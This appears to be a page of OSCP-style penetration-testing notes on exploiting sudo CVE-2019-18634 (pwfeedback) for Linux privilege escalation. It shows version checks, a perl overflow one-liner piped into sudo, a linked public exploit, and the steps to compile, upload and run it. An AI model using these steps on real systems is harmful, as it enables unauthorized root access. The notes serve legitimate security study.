> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/linux-privilege-escalation/sudo/cve-2019-18634-pwfeedback.md). Agents can also search and read this documentation through its [MCP server](https://oscp.adot8.com/~gitbook/mcp).

# CVE-2019-18634 (pwfeedback)

```
sudo su root
su root 
```

If you see \* when typing in a password, that is the **pwfeedback** environment variable being enabled and indicates that machine may be vulnerable

```
sudo -V
```

Any Sudo version older than 1.8.26 is vulnerable

{% embed url="<https://github.com/saleemrashid/sudo-cve-2019-18634>" %}

```
perl -e 'print(("A" x 100 . "\x{00}" x 50)' | sudo -S i
```

<figure><img src="https://content.gitbook.com/content/p6nDpW0GBTPP8pZM4JHQ/blobs/d51TUaPrpJ6XCaUuJL28/image.png" alt=""><figcaption></figcaption></figure>

Compile exploit, upload and run

```
gcc -o bof exploit.c
```
